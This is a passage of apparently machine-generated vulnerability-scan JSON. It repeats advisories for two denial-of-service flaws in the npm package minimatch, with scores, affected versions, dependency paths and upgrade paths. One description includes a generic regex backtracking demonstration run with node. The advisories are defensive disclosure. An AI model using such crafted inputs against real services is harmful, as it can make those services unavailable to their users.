"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 